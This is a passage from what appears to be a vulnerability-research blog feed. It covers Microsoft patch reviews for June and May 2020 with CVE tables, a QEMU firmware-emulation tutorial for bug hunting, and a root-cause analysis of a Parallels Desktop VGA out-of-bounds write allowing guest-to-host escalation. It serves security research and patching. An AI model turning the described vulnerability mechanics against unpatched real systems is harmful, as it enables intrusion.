CVEs released by Microsoft for June 2020. CVE Title Severity Public Exploited XI – Latest XI – Older Type CVE-2020-1248 GDI+ Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-1299 LNK Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-1219 Microsoft Browser Memory Corruption Vulnerability Critical No No 1 1 RCE CVE-2020-1181 Microsoft SharePoint Server Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-1073 Scripting Engine Memory Corruption Vulnerability Critical No No 2 2 RCE CVE-2020-1213 VBScript Remote Code Execution Vulnerability Critical No No 1 1 RCE CVE-2020-1216 VBScript Remote Code Execution Vulnerability Critical No No 1 1 RCE CVE-2020-1260 VBScript Remote Code Execution Vulnerability Critical No No 1 1 RCE CVE-2020-1281 Windows OLE Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-1300 Windows Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-1286 Windows Shell Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-1311 Component Object Model Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1211 Connected Devices Platform Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1120 Connected User Experiences and Telemetry Service Denial of Service Vulnerability Important No No 2 2 DoS CVE-2020-1244 Connected User Experiences and Telemetry Service Denial of Service Vulnerability Important No No 2 2 DoS CVE-2020-1202 Diagnostic Hub Standard Collector Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1203 Diagnostic Hub Standard Collector Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1257 Diagnostics Hub Standard Collector Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1278 Diagnostics Hub Standard Collector Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1293 Diagnostics Hub Standard Collector Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1317 Group Policy Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1315 Internet Explorer Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1208 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-1236 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-1232 Media Foundation Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1238 Media Foundation Memory Corruption Vulnerability Important No No 2 2 RCE CVE-2020-1239 Media Foundation Memory Corruption Vulnerability Important No No 2 2 RCE CVE-2020-1329 Microsoft Bing Search Spoofing Vulnerability Important No No 2 2 Spoof CVE-2020-1220 Microsoft Edge (Chromium-based) in IE Mode Spoofing Vulnerability Important No No 2 2 Spoof CVE-2020-1242 Microsoft Edge Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1225 Microsoft Excel Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-1226 Microsoft Excel Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-1160 Microsoft Graphics Component Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1321 Microsoft Office Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-1177 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-1183 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-1297 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-1298 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-1318 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-1320 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-1229 Microsoft Outlook Security Feature Bypass Vulnerability Important No No 2 2 SFB CVE-2020-1322 Microsoft Project Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1295 Microsoft SharePoint Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1178 Microsoft SharePoint Server Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1148 Microsoft SharePoint Spoofing Vulnerability Important No No 2 2 Spoof CVE-2020-1289 Microsoft SharePoint Spoofing Vulnerability Important No No 2 2 Spoof CVE-2020-1222 Microsoft Store Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1309 Microsoft Store Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1163 Microsoft Windows Defender Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1170 Microsoft Windows Defender Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1340 NuGetGallery Spoofing Vulnerability Important No No 2 2 Spoof CVE-2020-1212 OLE Automation Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1292 OpenSSH for Windows Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1323 SharePoint Open Redirect Vulnerability Important No No 2 2 Spoof CVE-2020-1331 System Center Spoofing Vulnerability Important No No 2 2 Spoof CVE-2020-1327 Team Foundation Server HTML Injection Vulnerability Important No No 2 2 Spoof CVE-2020-1214 VBScript Remote Code Execution Vulnerability Important No No 1 1 RCE CVE-2020-1215 VBScript Remote Code Execution Vulnerability Important No No 1 1 RCE CVE-2020-1230 VBScript Remote Code Execution Vulnerability Important No No 1 1 RCE CVE-2020-1343 Visual Studio Code Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1207 Win32k Elevation of Privilege Vulnerability Important No No 1 1 EoP CVE-2020-1247 Win32k Elevation of Privilege Vulnerability Important No No 1 1 EoP CVE-2020-1251 Win32k Elevation of Privilege Vulnerability Important No No 1 1 EoP CVE-2020-1253 Win32k Elevation of Privilege Vulnerability Important No No 1 1 EoP CVE-2020-1258 Win32k Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1310 Win32k Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1290 Win32k Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1255 Windows Background Intelligent Transfer Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1271 Windows Backup Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1280 Windows Bluetooth Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1283 Windows Denial of Service Vulnerability Important No No 2 2 DoS CVE-2020-1296 Windows Diagnostics & feedback Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1162 Windows Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1324 Windows Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1234 Windows Error Reporting Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1261 Windows Error Reporting Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1263 Windows Error Reporting Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1197 Windows Error Reporting Manager Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1199 Windows Feedback Hub Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0915 Windows GDI Elevation of Privilege Vulnerability Important No* No 2 2 EoP CVE-2020-0916 Windows GDI Elevation of Privilege Vulnerability Important No* No 2 2 EoP CVE-2020-1348 Windows GDI Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1259 Windows Host Guardian Service Security Feature Bypass Vulnerability Important No No 2 2 SFB CVE-2020-1272 Windows Installer Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1277 Windows Installer Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1302 Windows Installer Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1312 Windows Installer Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0986 Windows Kernel Elevation of Privilege Vulnerability Important No* No 2 2 EoP CVE-2020-1237 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1246 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1262 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1264 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1266 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1269 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1273 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1274 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1275 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1276 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1307 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP Column1 Column2 Column3 Column4 Column5 Column6 Column7 Column8                                                                                                                                                                                                       CVE-2020-1316 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1241 Windows Kernel Security Feature Bypass Vulnerability Important No No 1 1 SFB CVE-2020-1279 Windows Lockscreen Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1204 Windows Mobile Device Management Diagnostics Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1254 Windows Modules Installer Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1291 Windows Network Connections Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1209 Windows Network List Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1201 Windows Now Playing Session Manager Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1196 Windows Print Configuration Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1194 Windows Registry Denial of Service Vulnerability Important No No 2 2 DoS CVE-2020-1231 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1233 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1235 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1265 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1282 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1304 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1306 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1334 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1217 Windows Runtime Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1268 Windows Service Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1301 Windows SMB Remote Code Execution Vulnerability Important No No 1 1 RCE CVE-2020-1284 Windows SMBv3 Client/Server Denial of Service Vulnerability Important No No 1 1 DoS CVE-2020-1206 Windows SMBv3 Client/Server Information Disclosure Vulnerability Important No No 1 1 Info CVE-2020-1305 Windows State Repository Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1314 Windows Text Service Framework Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1313 Windows Update Orchestrator Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1287 Windows WalletService Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1294 Windows WalletService Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1270 Windows WLAN Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1223 Word for Android Remote Code Execution Vulnerability Important No No 2 2 RCE Of the remaining Critical-rated patches, most are related to web browsers or some form of browse-and-own scenario. GDI+, Windows Shell, VBScript, and Browsers all receive Critical-rated patches. There’s also a Critical-rated SharePoint bug that would allow remote code execution if an authenticated user managed to create and invoke a specially crafted page on an affected version of SharePoint. We’ll have more information about this bug in an upcoming blog.There are several Important-rated code execution vulnerabilities getting patches as well. The direst sounding involves code execution via SMB. However, unlike its SMBGhost cousin, this bug only impacts SMBv1 and requires authentication. If you’ve already disabled SMBv1, you don’t need to worry about this one. If you haven’t already disabled SMBv1, you really should. SMBv3 does receive patches this month, but only for information disclosure and Denial-of-Service (DoS) bugs. An unauthenticated attacker could shut down affected systems via an SMBv3 packet, but no code execution would be possible. There are also some code execution bugs being fixed in various Office components – at least the Windows version of Office. Similar to the previously mentioned Outlook bug, updates aren’t available for Office 2016 for Mac and Office 2019. Be on the lookout for those when they become available.Moving on, patches targeting Elevation of Privilege (EoP) bugs take center stage this month with a total of 70 being addressed. A total of 19 of those 70 patches fix bugs in the Windows Kernel and Kernel-mode drivers. Other affected components include Windows Defender, the Runtime libraries, Wallet Service, and the Windows Installer. While bug in the Installer service sounds scary, an attacker would still need to log on to a system then run a malicious app to elevate privileges. The updates for Defender should require no action, as the engine keeps itself updated. You can manually install the patch or just verify the patch was installed.Another interesting EoP involves OpenSSH for Windows. An authenticated attacker can modify the configuration settings on an affected system. If they can then convince a user to connect to a malicious OpenSSH server, they escalate privileges on the target client. Also interesting is a bug in the Lockscreen that could allow an attacker with casual physical access to load spotlight images from an insecure location. The update for Bluetooth sounds like it could be bad, but it wouldn’t allow an attack over Bluetooth itself. Instead, an attacker would need to log on to an affected system and run a specially crafted file.There are a surprising number of spoofing bugs being addressed this month. The most notable is a patch for Microsoft Bing Search for Android. Since this is an Android app, the update is found on the Google Play store and must be manually installed. The Word for Android app also receives a patch to correct a code execution bug. This too must be manually updated through the Google Play store.There are 14 different information disclosure bugs being patched this month, but only two – CVE-2020-1242 and CVE-2020-1296 – could potentially leak PII. All of the other bugs leak uninitialized memory. Rounding out this release are a half dozen cross-site scripting (XSS) bugs in SharePoint receiving patches.Looking at the advisories for June, the first is Microsoft’s version of the aforementioned patch for Flash in Internet Explorer. The other is the update to the Windows Servicing Stack, which adds updates for all supported versions of Windows.Looking AheadThe next Patch Tuesday falls on July 14, and we’ll return with details and patch analysis then. Until then, stay safe, enjoy your patching, and may all your reboots be smooth and clean!

  • MindShaRE: How to “Just Emulate It With QEMU”
    by Vincent Lee on May 27, 2020 at 4:26 pm

    MindShaRE is our periodic look at various reverse engineering tips and tricks. The goal is to keep things small and discuss some everyday aspects of reversing. You can view previous entries in this series here.Often, people dismiss router or IoT security research as easy. “Just emulate it with QEMU!” is usually what they say. They probably will also tell you to “just buy low, sell high” to make money in the stock market. The difficult, if not impossible part of trading stocks is knowing when the prices are at the lowest, and highest. Similarly, knowing how to emulate firmware with QEMU is probably the hardest part for a newcomer to the embedded security research scene. While I cannot offer much help with trading advice, I can help with firmware emulation.Before we begin, I’ll assume your firmware is UNIX-like and not running on some other real-time operating system (RTOS) such as VxWorks or Windows CE. I’ll also assume you have your firmware decrypted/de-obfuscated and the root file system extracted. If you are having trouble with encrypted firmware, check out my earlier blog post on dealing with encrypted firmware.Begin with the End in MindA key part of device emulation is having an end goal. Do you want to run just one binary? How about just one service? Or do you want full device emulation? Since getting the firmware emulation to work properly is a time-consuming feat, your goal will greatly influence your emulation strategy. Sometimes, the countless hours lost to tweaking the emulation will justify the purchase of some of these low-cost devices.For running a single binary such as a decryption routine, consider the more light-weight user space QEMU emulation approach. If your goal is to write exploits, working with a physical device may be the best since exploits are ultimately used against real-world devices. Emulation may not account for subtle hardware behavior such as instruction caches, which could affect memory corruption exploits. However, emulation is perfectly fine for developing and testing exploits for higher-level vulnerabilities such as a CGI-script command injection or login logic flaws in PHP pages.Determining CPU architecture and information gatheringThe first step in emulating anything is determining the CPU architecture for our target. Usually, we can determine this without a device on hand. One way to determine the CPU type is through analyzing the firmware binaries. Running the file command on any binary can quickly tell us what CPU architecture we are dealing with: Figure 1 – Outputs of the file and readelf commands However, the file command does not provide the most detailed results. The readelf command with the -A option for ARM binary provides much more detailed CPU information that is vital for full system emulation and cross-compilation. Another way of determining the CPU architecture when working with wireless routers (using the TP-Link TL-WR841-ND as an example [1]) is by searching for the device model on the Internet. This will usually land us on an OpenWRT device page that provides information on the device hardware. A quick search can also tell us the main System on Chip (SoC) part number as well as the device FCC ID. We can then look for the datasheet for the corresponding SoC chip and determine the exact CPU architecture. This is also a great time to search for the family-specific processor core datasheet to familiarize yourself with the CPU. This datasheet will provide device-specific information such as load address and low-level memory layout which may help with emulation and analysis. You can also lookup the FCC filing reports to get a glimpse of the internal view of the device. User-mode emulation Per-process emulation is useful when only one binary needs to be emulated. There are two ways to emulate a single binary in user-mode QEMU. The first option is the user-mode process emulation. This can be done with one of the following commands: qemu-mipsel -L <prefix> <binary>qemu-arm -L <prefix> <binary>qemu-<arch> -L <prefix> <binary> The -L option is important for when the binary links to external dependencies such as uCLibc or encryption libraries. It tells the dynamic linker to look for dependencies with the provided prefix. Below is an example of running the imgdecrypt binary for the D-Link DIR-882 router. Figure 2 – imgdecrypt Another way to emulate the process is to perform a cross-architectural chroot with QEMU. To do this, we copy the qemu-<arch>-static binary to the /usr/bin/ directory of the firmware root file system. We then chroot into the firmware root and obtain a working shell: Figure 3 – Using QEMU to perform a cross-architectural chroot This is possible due to QEMU registering with the kernel during installation to handle binaries with certain magic bytes via the binfmt_misc mechanism. Therefore, this technique is incompatible with the Scratchbox cross-compilation toolkit, which leverages the same mechanism. You can find a more detailed explanation of the cross-architectural chroot in this StackOverflow post. This method is my preferred first attempt to emulate a device. It is quick to set up and allows me to experiment with different binaries within the firmware root file system without worrying too much about dependencies. Note that in this mode of emulation, none of the userland services is initialized in the chroot shell, so none of the system or network services are available. However, this could be sufficient for running just one binary or testing one small component. Bring out the big guns: Full system emulation Sometimes, we’ll need to analyze the firmware more comprehensively and will benefit from full system emulation. There are many ways to fully emulate a device. Here are a few of the most common emulation techniques. These techniques have been used by researchers to find real bugs that were subsequently submitted to the ZDI program. In the first part of the emulation process, we will use QEMU to create a full Linux virtual machine running on the target architecture. We then transfer the firmware root file system into the VM and chroot into the root file system of the firmware. To create a full VM running in QEMU we typically need the following things: — A QEMU disk image file (qcow2) — A Linux kernel image compiled for the target architecture — (sometimes) an initial RAM disk Image (initrd) To get the above items, you can certainly set up a cross-compiler, build the kernel, and download an installer to get the initial RAM disk. You could then install Linux onto the QEMU disk image file. However, cross compiling a kernel is a substantial side quest for the casual bug hunter or Linux beginner. If you are interested in preparing these files yourself, check out the links in the further reading section. In this blog, we’ll take a simpler approach. We will download and use the pre-built Debian images prepared by Aurelien Jarn, a Debian developer. Alternatively, you could use the images provided by Chris (@_hugsy_), the author of the “gef” plugin.With all the files in place, we can start a QEMU VM with the proper CPU architecture with one of the following commands:The -M, or the -machine option, specifies the board model that QEMU supports, this option allows the user to select the target hardware platform. The -append options lets you tweak the kernel options passed into the Linux kernel. I like to put the QEMU command into a bash script to speed up the process of making adjustments and starting of the VM. Additionally, we should append the following options to the QEMU call to connect the network interfaces and add port forwarding settings: -net user,hostfwd=tcp::80-:80,hostfwd=tcp::443-:443,hostfwd=tcp::2222-:22 \-net nic Adding these options will allow us to communicate with the VM via SSH through port 2222 of the host computer as well as the HTTP and HTTPS pages of the emulated firmware. Figure 4 – Starting a pre-built Debian image Once the VM is booted up and gives us a working Debian VM, the second part of the emulation begins. Transfer the root file system of the firmware to the VM using SCP or HTTP. I find packing up the whole root file system in a TAR ball is the most effective way to handle the transfer. We then need to mount the /proc, /dev, and /sys directories of the VM to the corresponding files in the firmware file system. Finally, we chroot into the firmware file system using the following command: chroot ~/firmware_rootfs /bin/sh The second option tells chroot to run /bin/sh after changing the root directory. You may be required to change this command to /bin/bash or /bin/busybox to obtain a working shell. Figure 5 – Busybox With a working shell, we can navigate to /etc/rc.d or /etc/init.d and run the appropriate RC script to kick off the userland services. Closely analyze the rc.d folder and inspect the scripts, you’ll need to tweak the startup scripts to account for missing network interfaces, failing of NVRAM library call, and all sorts of fun stuff. This part of the emulation process is very much like dealing with encrypted firmware; each firmware will be an adventure of its own which is the very definition of research. Often, you’ll want to tweak the rcS scripts just enough to get the target service to run properly. This part of the process can take up weeks of investigation and additional work. Emulation is a lot of work. Sometimes standing on the shoulders of giants is the better way to go. There are two main projects that help speed up the process of firmware emulation, namely Firmadyne and ARM-X. 60% of the time, it works every time: FirmadyneFirmadyne is great when it works. It is a firmware emulation platform that attempts to automagically emulate Linux-based device firmware. Firmadyne supports both MIPS and ARM processors. It will extract the root file system, infer network interfaces, and create the QEMU disk image for emulation. It also attempts to emulate the NVRAM. If you need full system emulation for a new target, I recommend giving Firmadyne a try first. You can then attempt to fix some of the errors it runs into before trying other emulation techniques. I have experienced trouble running Firmadyne using newer QEMU releases. However, using Docker to install it typically avoids this problem.ARM-XThe ARM-X Firmware Emulation Framework targets ARM-based firmware. It is a collection of kernels, scripts, and filesystems to emulate firmware with QEMU. It comes with a few emulation configuration examples to help you with your project. I recommend watching the hour-long Hack In The Box 2019 presentation recording by Saumil Shah (@therealsaumil) on YouTube before trying out the ARM-X VM. If you are completely new to IoT firmware research, the presentation is also a great resource to start with.ConclusionHopefully, with the help of this blog, you are ready to “just emulate it with QEMU.” All the techniques demonstrated above (including ARM-X and Firmadyne) were used in various submissions to our program. All roads may lead to Rome, but there’s not a single, fixed way to emulate firmware with QEMU. Explore different techniques and see what works for you. Familiarize yourself with the knowledge to wield the beast named QEMU and you will be surprised at how it can help you in unexpected ways. Finally, I would love to learn about your emulation techniques and look forward to your next submission.You can find me on Twitter @TrendyTofu, and follow the team for the latest in exploit techniques and security patches.Further ReadingMIPSEL QEMU Image Preparationhttps://blahcat.github.io/2017/07/14/building-a-debian-stretch-qemu-image-for-mipsel/Debian on an emulated ARM machinehttps://www.aurel32.net/info/debian_arm_qemu.phpDebian on an emulated MIPS(EL) machinehttps://www.aurel32.net/info/debian_mips_qemu.phpArm1176 (ARMv6) QEMU Emulationhttps://azeria-labs.com/emulate-raspberry-pi-with-qemu/AArch64 (ARMv8) QEMU Image Preparationhttps://blahcat.github.io/2018/01/07/building-a-debian-stretch-qemu-image-for-aarch64/ARM emulationhttps://balau82.wordpress.com/arm-emulation/Footnote[1] This incredibly cheap router is a great target to start your vulnerability research journey. Check out my two-part series to get started with this device

  • CVE-2020-8871: Privilege Escalation in Parallels Desktop via VGA Device
    by Lucas Leong on May 21, 2020 at 5:03 pm

    Parallels Desktop for Mac is one of the most popular virtualization programs for macOS, but there hasn’t been much public vulnerability research regarding this product. Last November, Reno Robert (@renorobertr) reported multiple bugs in Parallels to the ZDI, one of which could allow a local user on the guest OS to escalate privileges and execute code on the host. This bug was patched in May with version 15.1.3 (47255) and was assigned CVE-2020-8871 (ZDI-20-292). This blog takes a deeper look at that vulnerability and the code change Parallels made to fix it.Initial AnalysisAll the following analysis is based on version 15.1.2. As tested, the guest virtual machine was configured with the default options.The original report was short and was found by simple fuzzing. Here is the relevant code from the Proof-of-Concept (POC):Basically, this randomly and infinitely writes words to I/O ports 0x3C4 and 0x3C5. If you run the POC on an affected version of Parallels, it will crash the prl_vm_app process on the host OS. Each virtual machine on the system is represented by a separate prl_vm_app process. Through a bit of research, we find 0x3C4 and 0x3C5 are the VGA sequencer index register and sequencer data register respectively. At first glance, it appears there is an Out-Of-Bounds (OOB) write bug in the VGA device. As mentioned, the POC is triggered by fuzzing, and the original report did not provide a detailed analysis. It’s time to go deeper.Investigating the Root Cause The crash is in a large function called sub_100185DA0. The related part is simplified and commented as followed. The vga_context structure is allocated during the initialization of a VGA device. It keeps the status and variables for the VGA device. This function attempts to write vga_context->buf buffer sequentially with three loops. The total length is evaluated as vga_context->h * vga_context->w * sizeof(DWORD) bytes. Then, it performs an OOB write and crashes within the loops due to the invalid length. The first step in our investigation is to determine the source of the vga_context->buf buffer contents. This rather large 64MB buffer is a screen buffer, which is configured through the guest VM configuration (Hardware->Graphics->Memory). It seems to imply that vga_context->h and vga_context->w are the height and width for the guest VM screen resolution. Next, we need to determine the source of the vga_context->h and vga_context->w buffer contents. We can get this answer from our debugger and find it is from vga_state in sub_100184F90. But again, what’s the source of the vga_state object? We find it is shared memory. In this instance, it is shared between host ring0 and host ring3. It is updated by the VGA I/O port handler in ring0 and, later, the ring3 video worker thread (located in sub_100183610) will use it.According to the pseudo-code above, port 0x3C4 acts as a selector to control what goes on in port 0x3C5. One of the features for port 0x3C5 is that it can set an arbitrary 16-bit value to vga_state->h and vga_state->w. When the ring3 video worker thread gets the new height and width for the screen, it attempts to update the whole screen buffer (vga_context->buf). However, it does not validate the new height and width which leads to the overflow on the screen buffer.Additionally, the length of the overflow is controllable. The value of the overflow is partially controllable through port 0x3C9 (see vga_context->array). As a result, we identified it is likely exploitable.Evaluating the PatchAfter the patch was released, I did some binary diffing between version 15.1.2 and 15.1.3 to determine how they chose to fix this bug. By checking the diff carefully, the patch did a very tiny change with the caller of sub_100185DA0.One of the if branches has changed. The patch moved the flaggg from vga_state to vga_context. What is flaggg? As we can see in sub_100184F90, flaggg has to be TRUE to get the controlled height and width from vga_state. However, the flaggg has to be FALSE in order to go into the crashing function. These two constraints are conflicted. How can we satisfy these constraints? As we stated earlier when looking at the root cause, vga_state is shared memory between ring0 and ring3. The flaggg function can be configured through port 0x3C5. Therefore, it is possible to flip the flaggg and make the double fetch in the ring3 video worker thread between these two constraints. What the patch actually did is to move flaggg from vga_state to vga_context. This improves the situation since vga_context is a heap allocation in ring3 and is not vulnerable to double fetch. Therefore, it will never trigger the path to the OOB write. ConclusionThis submission provides a nice example of what it takes to go through the workflow and the root cause analysis for a virtual device in Parallels Desktop. While the vendor lists the patches as Low severity, considering the overall CVSS scores and the opportunity to escalate from guest to host, you should consider the patch to be Important in severity and apply it as soon as you can. We don’t see a lot of bugs in Parallels Desktop submitted to the program, but maybe this blog will encourage others to take a look. If you do end up finding some vulnerabilities, we’d certainly be interested in seeing them.You can find me on Twitter at @_wmliang_, and be sure to follow the team for the latest in exploit techniques and security patches.

  • The May 2020 Security Update Review
    by Dustin Childs on May 12, 2020 at 5:16 pm

    May is upon us, and with it brings another bumper crop of security patches from Adobe and Microsoft. Take a break from your regularly scheduled activities and join us as we review the details for security patches for this month.Adobe Patches for May 2020The Adobe updates for May are just two patches covering 36 CVEs. Two of these CVEs were reported through the ZDI program. The patch for Adobe Acrobat and Reader covers 24 Critical and Important-rated CVEs that mostly consist of Out-of-Bounds (OOB) Reads and Writes. There are also some buffer overflows, memory corruptions, stack exhaustion, and Use-After-Free (UAF) bugs fixed. The patch for the Adobe DNG Software Development Kit (SDK) fixes four Critical-rated heap overflows and eight Important-rated OOB Reads. The overflows could lead to code execution, so if you use the DNG format for your digital photography, definitely make sure you are patched. None of these bugs are listed as publicly known or under active attack at the time of release.Microsoft Patches for May 2020For May, Microsoft released patches for 111 CVEs covering Microsoft Windows, Microsoft Edge (EdgeHTML-based), ChakraCore, Internet Explorer, Microsoft Office, and Microsoft Office Services and Web Apps, Visual Studio, Microsoft Dynamics, .NET Framework, .NET Core, and Power BI. Of these 111 CVEs, 16 are rated Critical and 95 are rated Important in severity. Eleven of these CVEs were reported through the ZDI program. None of the bugs being patched are listed as being publicly known or under active attack at the time of release. That makes three months in a row that Microsoft has released patches for more than 110 CVEs. We’ll see if they maintain that pace throughout the year.Let’s take a closer look at some of the more interesting updates for this month, starting with a bug that requires physical access:-       CVE-2020-1071 – Windows Remote Access Common Dialog Elevation of Privilege VulnerabilityLaw #3 of the 10 Immutable Laws of Security states, “If a bad guy has unrestricted physical access to your computer, it’s not your computer anymore.” But what if the physical access is something other than unrestricted? That seems to be the case here. An attacker would need to be at the system and boot it to the login screen. If they can do that, they could leverage a bug in the Remote Access Common Dialog to run arbitrary code with elevated privileges. This bug will be much more critical for places with open offices where casual physical access is common. –       CVE-2020-1135 – Windows Graphics Component Elevation of Privilege VulnerabilityWhile Pwn2Own may have been virtual this year, the bugs demonstrated certainly were not. This bug from the Fluoroacetate duo of Richard Zhu and Amat Cama allows a logged-on user to take over a system by running a specially crafted program. They leveraged a Use-After-Free (UAF) bug in Windows to escalate from a regular user to SYSTEM.-       CVE-2020-1067 – Windows Remote Code Execution VulnerabilityThis patch corrects an RCE bug in the Windows OS that could allow an attacker to execute arbitrary code with elevated permissions on affected systems. The only thing keeping this from being Critical is the fact that the attacker needs a domain user account for their specially crafted request to succeed. This makes the bug a prime target for insider threats, as well as penetration testers looking to expand their foothold in a target enterprise.-       CVE-2020-1118 – Microsoft Windows Transport Layer Security Denial of Service VulnerabilityThis patch addresses a bug that allows a remote, unauthenticated attacker to abnormally reboot, resulting in a denial-of-service condition. A NULL pointer dereference vulnerability exists in the Windows implementation of the Diffie-Hellman protocol. An attacker can exploit this vulnerability by sending a malicious Client Key Exchange message during a TLS handshake. The vulnerability affects both TLS clients and TLS servers, so just about any system could be shut down by an attacker. Either way, successful exploitation will cause the lsass.exe process to terminate. Here’s the full list of CVEs released by Microsoft for May 2020. CVE Title Severity Public Exploited XI – Latest XI – Older Type CVE-2020-1037 Chakra Scripting Engine Memory Corruption Vulnerability Critical No No 2 2 RCE CVE-2020-1062 Internet Explorer Memory Corruption Vulnerability Critical No No 1 1 RCE CVE-2020-1028 Media Foundation Memory Corruption Vulnerability Critical No No 2 2 RCE CVE-2020-1126 Media Foundation Memory Corruption Vulnerability Critical No No 2 2 RCE CVE-2020-1136 Media Foundation Memory Corruption Vulnerability Critical No No 2 2 RCE CVE-2020-1117 Microsoft Color Management Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-1056 Microsoft Edge Elevation of Privilege Vulnerability Critical No No 2 2 EoP CVE-2020-1153 Microsoft Graphics Components Remote Code Execution Vulnerability Critical No No 2 1 RCE CVE-2020-1023 Microsoft SharePoint Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-1024 Microsoft SharePoint Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-1102 Microsoft SharePoint Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-1069 Microsoft SharePoint Server Remote Code 